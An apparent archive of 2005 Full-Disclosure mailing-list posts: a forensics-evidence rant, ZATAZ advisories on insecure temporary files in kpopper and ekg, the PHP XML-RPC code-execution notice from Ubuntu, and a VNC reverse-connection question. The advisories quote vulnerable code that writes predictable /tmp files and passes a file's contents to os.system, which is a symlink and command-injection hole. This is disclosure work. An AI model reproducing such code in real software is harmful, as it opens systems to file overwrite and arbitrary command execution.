Evidence Technology wrote: That era is quickly fading. Going forward, I think we'll see more and more digital evidence rendered inadmissible via failure to adhere to established evidentiary standards. Jerry, No way. What 'evidentiary standards' are you talking about here? I'm sorry but that's just absurd. How will there ever be 'evidentiary standards' on the contents of my filing cabinet and my personal pornography collection? The police find the data where they find it. That's called 'circumstantial evidence' and digital evidence will always be treated exactly as such no matter who we successfully convince of the flaws inherent in the filing cabinet or printed document/glossy photograph analogy. What I demand to hear spoken by law enforcement, and what I insist prosecutors compel law enforcement to speak if they don't volunteer these words out of their own common sense, is the following: "Yes, that's what we found on the hard drive but there's little or no reason for us to believe that the defendant is responsible for placing it there just because the hard drive was in the defendant's possession. We often see cases where hard drives are installed second-hand and data from previous owners remains on the drive, we can't tell when the data in question was written so it's important to be aware that hundreds of other people could have placed it there. We also see cases where software such as spyware or Web pages full of javascript force a suspect's Web browser to take actions that result in the appearance that the owner of the computer caused Internet content to be retrieved when in fact the owner of the computer may not have known what was happening, malicious Web site programmers know how to use techniques such as pop-unders and frames to hide scripted behavior of Web pages. Furthermore, once the Web browser is closed and its temporary files are deleted, every bit of data that was saved 'temporarily' to a file by the browser becomes a semi-permanent part of the hard drive's unallocated space and we have no way to tell the difference between data that was once part of a temporary file created automatically by a Web page being viewed or scripted inside a Web browser and the same data placed intentionally on the hard drive by its owner without the use of the Internet. Also ..." Disrespectfully Yours, (with extreme prejudice born of intense frustration due to the fact that nobody cares about getting this stuff right when it's so much easier just to collect a forensic paycheck and move on to the next victim -- I would like to think you are part of the solution rather than being part of the problem but you're talking nonsense and so is nearly everyone else in the computer forensics field, most especially the computer forensics vendors who need people to love them in order to make their businesses grow. They do not deserve respect and they most certainly fail the 'lovable' test, but television shows like CSI and visions of fat bank accounts have deceived everyone temporarily...) Please get a clue before you hurt somebody. Jason Coombs [EMAIL PROTECTED] ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] kpopper insecure temporary file creation
# kpopper insecure temporary file creation Vendor: http://kpopper.sourceforge.net/ Advisory: http://www.zataz.net/adviso/kpopper-06152005.txt Vendor informed: yes Exploit available: yes Impact : low Exploitation : low # The vulnerability is caused due to temporary file being created insecurely. This can be exploited via symlink attacks in combination to create and overwrite arbitrary files with the privileges of the user running the affected script. ## Versions: ## kpopper <= 1.0 ## Solution: ## To prevent symlink attack use kernel patch such as grsecurity # Timeline: # Discovered : 2005-06-13 Vendor notified : 2005-06-15 Vendor response : no reponse Vendor fix : no fix Vendor Sec report ([EMAIL PROTECTED]) : 2005-06-27 Disclosure : 2005-07-04 # Technical details : # Vulnerable code : - popper/popper-send.sh #!/bin/sh echo "$2" > /tmp/.popper-new echo `date +"%a %l:%m %p"` >> /tmp/.popper-new cat "$1" >> /tmp/.popper-new mv -f /tmp/.popper-new /tmp/.popper The .popper is also used into : popper/popper.cpp # Related : # Bug report : http://bugs.gentoo.org/show_bug.cgi?id=94475 CVE : CAN-2005-1917 # Credits : # Eric Romang ([EMAIL PROTECTED] - ZATAZ Audit) Thxs to Gentoo Security Team. (Taviso, jaervosz, solar, etc.) ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] ekg insecure temporary file creation and arbitrary code execution
#
ekg insecure temporary file creation and arbitrary code execution
Vendor: http://dev.null.pl/ekg/
Advisory: http://www.zataz.net/adviso/ekg-06062005.txt
Vendor informed: yes
Exploit available: no
Impact : high
Exploitation : high
#
The vulnerabilities are caused due to temporary file being created
insecurely.
This can be exploited via symlink attacks in combination to create and
overwrite
arbitrary files with the privileges of the user running the affected
script and
also arbitrary command possible by spiking the temporary file.
##
Versions:
##
ekg <= 2005-06-05 22:03
##
Solution:
##
For the symlink attack use kernel patch such as grsecurity
#
Timeline:
#
Discovered : 2005-05-27
Vendor notified : 2005-06-06
Vendor response : no response
Vendor fix : no fix
Vendor Sec report ([EMAIL PROTECTED]) : 2005-06-27
Disclosure : 2005-07-04
#
Technical details :
#
Vulnerable code :
-
In contrib/scripts/linki.py
95 def czyjest ():
96 if os.path.exists('/tmp/rmrmg_ekg_url'):
97 wejsc= open ('/tmp/rmrmg_ekg_url')
98 file = wejsc.readlines()
99 dlug=len(file)
100 wejsc.close()
101 #ekg.printf("generic", "liczno¶æ %d" %(dlug))
102 return file
103 else:
104 return 0
Then
35 def handle_keypress(meta, key):
36 if key == 269:
37 ekg.printf("generic", "wci¶nieto F5")
38 nurl=czyjest()
39 if nurl == 0:
40 ekg.printf("generic", "nie ma zadnego adresu URL")
41 else:
42 dlug=len(nurl)
43 if dlug == 1:
44 ekg.printf("generic", "otwieram %s w nowej zak³adce"
%(nurl[0]))
45 os.system("MozillaFirebird -remote
'openURL(%s,new-tab)'" %(nurl[0]))
46 os.system('rm /tmp/rmrmg_ekg_url')
47 else:
48 ekg.printf("generic", "linków mam %d" %(dlug))
49 wielejest(nurl)
50 ekg.printf("generic", "otwieram %s w nowej zak³adce"
%(nurl[0]))
51 os.system("MozillaFirebird -remote 'openURL(%s,
new-tab)'" %(nurl[0]))
52 elif key == 270:
53 ekg.printf("generic", "wcisniêto F6")
54 nurl=czyjest()
55 if nurl == 0:
56 ekg.printf("generic", "nic nie moge skasowaæ - nie
mazadnego adresu URL")
57 else:
58 dlug=len(nurl)
59 if dlug == 1:
60 ekg.printf("generic", "kasuje adres %s" %(nurl[0]))
61 os.system('rm /tmp/rmrmg_ekg_url')
62 else:
63 ekg.printf("generic", "jest wiele linków")
64 wielejest(nurl)
65 ekg.printf("generic", "kasuje pierwszy czyli:
%s"%(nurl[0]))
66 elif key == 271:
67 ekg.printf("generic", "wcisniêto F7")
68 nurl=czyjest()
69 if nurl == 0:
70 ekg.printf("generic", "nie ma zadnego adresu URL")
71 else:
72 dlug=len(nurl)
73 if dlug == 1:
74 ekg.printf("generic", "otwieram %s w nowym
oknie"%(nurl[0]))
75 os.system("MozillaFirebird %s" %(nurl[0]))
76 os.system('rm /tmp/rmrmg_ekg_url')
77 else:
78 ekg.printf("generic", "linków mam %d" %(dlug))
79 wielejest(nurl)
80 ekg.printf("generic", "otwieram %s w nowym
oknie"%(nurl[0]))
81 elif key == 272:
82 ekg.printf("generic", "wcisniêto F8")
83 nurl=czyjest()
84 ekg.printf("generic", "F5 - otwiera w nowej zak³adce; F7
wnowym oknie, a F6 kasuje, wszystko tyczy siê pierwszej pozycji
zlisty")
85 if nurl == 0:
86 ekg.printf("generic", "nie ma zadnego adresu URL")
87 else:
88 dlug=len(nurl)
89 ekg.printf("generic", "linków mam %d oto one:" %(dlug))
90 for po in nurl:
91 ekg.printf("generic", "%s" %(po))
92 return 1
#
Related :
#
Gentoo Bugs report : http://bugs.gentoo.org/show_bug.cgi?id=94172
CVE : CAN-2005-1916
#
Credits :
#
Eric Romang ([EMAIL PROTECTED] - ZATAZ Audit)
Thxs to Gentoo Security Team. (Taviso, jaervosz, solar, tigger, etc.)
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Re: FD-V5-I5 [ GLSA 200507-01 ] PEAR XML-RPC, phpxmlrpc: PHP script injection vulnerability
Tony Dodd wrote: There is talk from some people that simply upgrading phpxmlrpc will not suffice, and that you have to upgrade everything which uses it. Confusion abundant so to speak. Anyone have any clarification on this? If someone bundled a vulnerable package in his distribution, upgrading the original package does not help, you need to upgrade the bundled version also. The easiest way to do that is to upgrade the application that bundles the lib (given that the application developers provide an updated version). Sebastian ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Re: FD-V5-I5 [ GLSA 200507-01 ] PEAR XML-RPC, phpxmlrpc: PHP script injection vulnerability
Synopsis The PEAR XML-RPC and phpxmlrpc libraries allow remote attackers to execute arbitrary PHP script commands. Impact == A remote attacker could exploit this vulnerability to execute arbitrary PHP script code by sending a specially crafted XML document to web applications making use of these libraries. Workaround == There are no known workarounds at this time. Resolution == All PEAR-XML_RPC users should upgrade to the latest available version: # emerge --sync # emerge --ask --oneshot --verbose ">=dev-php/PEAR-XML_RPC-1.3.1" All phpxmlrpc users should upgrade to the latest available version: # emerge --sync # emerge --ask --oneshot --verbose ">=dev-php/phpxmlrpc-1.1.1" Considering this is such a widespread issue - pretty much up to the same level as santy was -, it bothers me that there has been so little discussion. This is going to effect the majority of the hosting industry; many php based web programs utilize the now opensource phpxmlrpc; which leaves a lot of stuff open to exploitation. Add to that the fact that the exploits are available already, and the majority of people I've spoken to so far/forum posts I've read etc don't know how to deal with this. There is talk from some people that simply upgrading phpxmlrpc will not suffice, and that you have to upgrade everything which uses it. Confusion abundant so to speak. Anyone have any clarification on this? Regards, Tony Dodd ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [USN-147-1] PHP XMLRPC vulnerability
=== Ubuntu Security Notice USN-147-1 July 05, 2005 php4, php4-universe vulnerability CAN-2005-1921 === A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) Ubuntu 5.04 (Hoary Hedgehog) The following packages are affected: libapache2-mod-php4 php4-pear The problem can be corrected by upgrading the affected package to version 4:4.3.8-3ubuntu7.9 (for Ubuntu 4.10), or 4:4.3.10-10ubuntu3.1 (for Ubuntu 5.04). In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: A remote code execution vulnerability has been discovered in the XMLRPC module of the PEAR (PHP Extension and Application Repository) extension of PHP. By sending specially crafted XMLRPC requests to an affected web server, a remote attacker could exploit this to execute arbitrary code with the web server's privileges. In Ubuntu 5.04 (Hoary Hedgehog), the PEAR extension is unsupported (it is contained in the php4-universe package which is part of universe). However, since this is a highly critical vulnerability, that package was fixed as well. Please note that many applications contain a copy of the affected XMLRPC code, which must be fixed separately. The following packages may also be affected, but are unsupported in Ubuntu: - drupal - wordpress - phpwiki - horde3 - ewiki - egroupware - phpgroupware These packages might be fixed by the community later. The following common third party applications are affected as well, but not packaged for Ubuntu: - Serendipity - Postnuke - tikiwiki - phpwebsite If you run any affected software, please upgrade them as soon as possible to protect your server. Updated packages for Ubuntu 4.10 (Warty Warthog): Source archives: http://security.ubuntu.com/ubuntu/pool/main/p/php4/php4_4.3.8-3ubuntu7.9.diff.gz Size/MD5: 616004 aba83c3005406218f315dd4e10fdc93c http://security.ubuntu.com/ubuntu/pool/main/p/php4/php4_4.3.8-3ubuntu7.9.dsc Size/MD5: 1624 5f13453ccdc07ef678393948887d1fb5 http://security.ubuntu.com/ubuntu/pool/main/p/php4/php4_4.3.8.orig.tar.gz Size/MD5: 4832570 dd69f8c89281f088eadf4ade3dbd39ee Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/main/p/php4/php4-dev_4.3.8-3ubuntu7.9_all.deb Size/MD5: 332280 b4620c776b0b7a0c01e07785276bcc74 http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-pear_4.3.8-3ubuntu7.9_all.deb Size/MD5: 333464 37e8baf6cfecda800559359076a98c07 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/p/php4/libapache2-mod-php4_4.3.8-3ubuntu7.9_amd64.deb Size/MD5: 1689172 ca905ba66abc007c6e2c1f2522f5f867 http://security.ubuntu.com/ubuntu/pool/main/p/php4/php4-cgi_4.3.8-3ubuntu7.9_amd64.deb Size/MD5: 3198276 0b746adc73c7f024307595d751d1046a http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-curl_4.3.8-3ubuntu7.9_amd64.deb Size/MD5:17278 1d8408cd9a09f8f84bdae47b73049255 http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-domxml_4.3.8-3ubuntu7.9_amd64.deb Size/MD5:40436 ce1f94a062c11e6a04f5d63b3ccafce1 http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-gd_4.3.8-3ubuntu7.9_amd64.deb Size/MD5:33496 31cbb8a956114af8f70eb2d501534bab http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-ldap_4.3.8-3ubuntu7.9_amd64.deb Size/MD5:21232 4a9ba4b1ac4ce2d5c2c3c3f2d7311506 http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-mcal_4.3.8-3ubuntu7.9_amd64.deb Size/MD5:18410 8b519ef4c7952bbaf470bed187d53bc2 http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-mhash_4.3.8-3ubuntu7.9_amd64.deb Size/MD5: 8000 a8449358e45b69dba6a7a75d2d5699e2 http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-mysql_4.3.8-3ubuntu7.9_amd64.deb Size/MD5:23112 fc767c3fe309f0294428521b1933c2b4 http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-odbc_4.3.8-3ubuntu7.9_amd64.deb Size/MD5:28326 57c9957a11dab6d52888f82f8f80be46 http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-recode_4.3.8-3ubuntu7.9_amd64.deb Size/MD5: 7624 19d130845dc8b370e13870c6eabd5720 http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-snmp_4.3.8-3ubuntu7.9_amd64.deb Size/MD5:12984 b468564f7250de1d749a8e057eb01462 http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-sybase_4.3.8-3ubuntu7.9_amd64.deb Size/MD5:21512 7605bfe517943cafa076db8551ad1e99 http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-xslt_4.3.8-3ubuntu7.9_amd64.deb Size/MD5:17254 79257012aa4b000fe9fa82cfe985ed43 http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4_4.3.8-3ubuntu7.9_amd64.deb Size/MD5: 1705048 8dfe9363fb64f2f4
Re: [Full-disclosure] Some VNC doubts : access server behind TCP/IP proxy or gateways
VNC supports reverse connections, check http://www.tinyapps.org/vnc/ But then, you need some sort of trigger from road warrior side to run "winvnc -connect on the server. I guess you can design the best way for this based on your setup, may be via an ASP page or even as simple as an email command. If your gateways support some sort of client authentication, may be its the best bet. Raghu On 7/5/05, Aditya Deshmukh <[EMAIL PROTECTED]> wrote: > Hi List, > > I have a very peculiar problem about accessing VNC server behind gateways > and proxy server... > > Here is the background info... > > I have a client who has pretty big vnc installation base mostly windows but > Linux and Solaris also includes. > > Most of the Road Warriors have windows with vnc and ssh installed on them ( > mostly winxp sp2 ) > > VNC is used to remote admin or support for some of the road warriors. But > most of the times when the VNC server is behind a gateway like this it wont > connect. > > [ Internet ] -- [ Gateway ] --- [ Lan ] > > The work about is to use the UltraVNC relay service, but if you don't have > any control over the gateway this becomes impossible to operate. And I hate > to open ports in the firewalls of the road warriors' computers. > > Is there a way something like reverse shell that allows someone to connect > to a VNC server, behind gateway and through firewalls without opening any > holes in it or a tcp/ip proxy that is proxy that does not allow connections > from the internet ? > > Basically, The user initiates the connection and the helpdesk can use the > same socket to the laptop for connection over VNC ( vnc encryption and > compression have already been taken care of, and only one socket is needed > for all this- for a firewall I would require only one hole ) > > > Any help would be appreciated - aditya > > > > > > > Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
